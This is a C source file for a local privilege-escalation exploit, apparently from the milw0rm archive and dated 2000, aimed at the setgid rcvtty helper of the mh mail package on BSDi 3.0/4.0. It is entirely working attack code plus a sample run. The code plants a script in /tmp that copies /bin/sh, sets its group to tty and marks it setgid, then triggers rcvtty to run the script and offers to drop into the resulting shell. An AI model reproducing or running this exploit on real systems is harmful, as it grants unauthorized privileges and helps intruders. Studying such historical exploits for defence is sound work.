477bcbdcc0
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87 lines
3.1 KiB
C
Executable file
87 lines
3.1 KiB
C
Executable file
/*
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(BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[v9@fakehalo.org]. this exploit
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is for the rcvtty of the mh package, which is setgid=4(tty) on BSDi. this
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exploit gives you egid/group=4(tty) access.
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example:
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-------------------------------------------------
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bash-2.02$ id
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uid=101(v9) gid=100(user) groups=100(user)
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bash-2.02$ cc xrcvtty.c -o xrcvtty
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bash-2.02$ ./xrcvtty
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[ (BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[v9@fakehalo.org]. ]
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[*] /usr/contrib/mh/lib/rcvtty appears to be setgid.
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[*] now making shell script to execute.
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[*] done, now building and executing the command line.
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[*] done, now checking for success.
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[*] success, /tmp/ttysh is now setgid.
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[*] finished, everything appeared to have gone successful.
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[?] do you wish to enter the sgidshell now(y/n)?: y
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[*] ok, executing shell(/tmp/ttysh) now.
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$ id
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uid=101(v9) gid=100(user) egid=4(tty) groups=4(tty), 100(user)
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$
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-------------------------------------------------
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info: findings and exploit by v9[v9@fakehalo.org].
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*/
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#define PATH "/usr/contrib/mh/lib/rcvtty" /* path to rcvtty. */
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#define MAKESHELL "/tmp/mksh.sh" /* tmpfile to exec. */
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#define SGIDSHELL "/tmp/ttysh" /* gidshell location. */
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#include <stdio.h>
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#include <sys/stat.h>
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main()
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{
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char cmd[256],in[1];
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struct stat mod1,mod2;
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FILE *sgidexec;
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fprintf(stderr,"[ (BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[v9@fakehalo.org]. ]\n\n",PATH);
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if(stat(PATH,&mod1)){
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fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH);
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exit(1);
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} else if(mod1.st_mode==34285){
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fprintf(stderr,"[*] %s appears to be setgid.\n",PATH);
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} else {
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fprintf(stderr,"[!] failed, %s doesn't appear to be setgid.\n",PATH);
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exit(1);
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}
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fprintf(stderr,"[*] now making shell script to execute.\n");
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unlink(MAKESHELL);
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sgidexec=fopen(MAKESHELL,"w");
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fprintf(sgidexec,"#!/bin/sh\n");
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fprintf(sgidexec,"cp /bin/sh %s\n",SGIDSHELL);
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fprintf(sgidexec,"chgrp tty %s\n",SGIDSHELL);
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fprintf(sgidexec,"chmod 2755 %s\n",SGIDSHELL);
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fclose(sgidexec);
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chmod(MAKESHELL,33261);
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fprintf(stderr,"[*] done, now building and executing the command line.\n");
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snprintf(cmd,sizeof(cmd),"echo yes | %s %s 1>/dev/null 2>&1",PATH,MAKESHELL);
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system(cmd);
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unlink(MAKESHELL);
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fprintf(stderr,"[*] done, now checking for success.\n");
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if(stat(SGIDSHELL,&mod2)){
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fprintf(stderr,"[!] failed, %s doesn't exist.\n",SGIDSHELL);
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exit(1);
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} else if(mod2.st_mode==34285){
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fprintf(stderr,"[*] success, %s is now setgid.\n",SGIDSHELL);
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} else {
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fprintf(stderr,"[!] failed, %s doesn't appear to be setgid.\n",SGIDSHELL);
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exit(1);
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}
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fprintf(stderr,"[*] finished, everything appeared to have gone successful.\n");
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fprintf(stderr,"[?] do you wish to enter the sgidshell now(y/n)?: ");
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scanf("%s",in);
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if(strcmp(in,"y")){
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printf("[*] ok, aborting execution, the shell is: %s.\n",SGIDSHELL);
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} else{
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printf("[*] ok, executing shell(%s) now.\n",SGIDSHELL);
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execl(SGIDSHELL,SGIDSHELL,0);
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}
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exit(0);
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}
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// milw0rm.com [2000-11-21]
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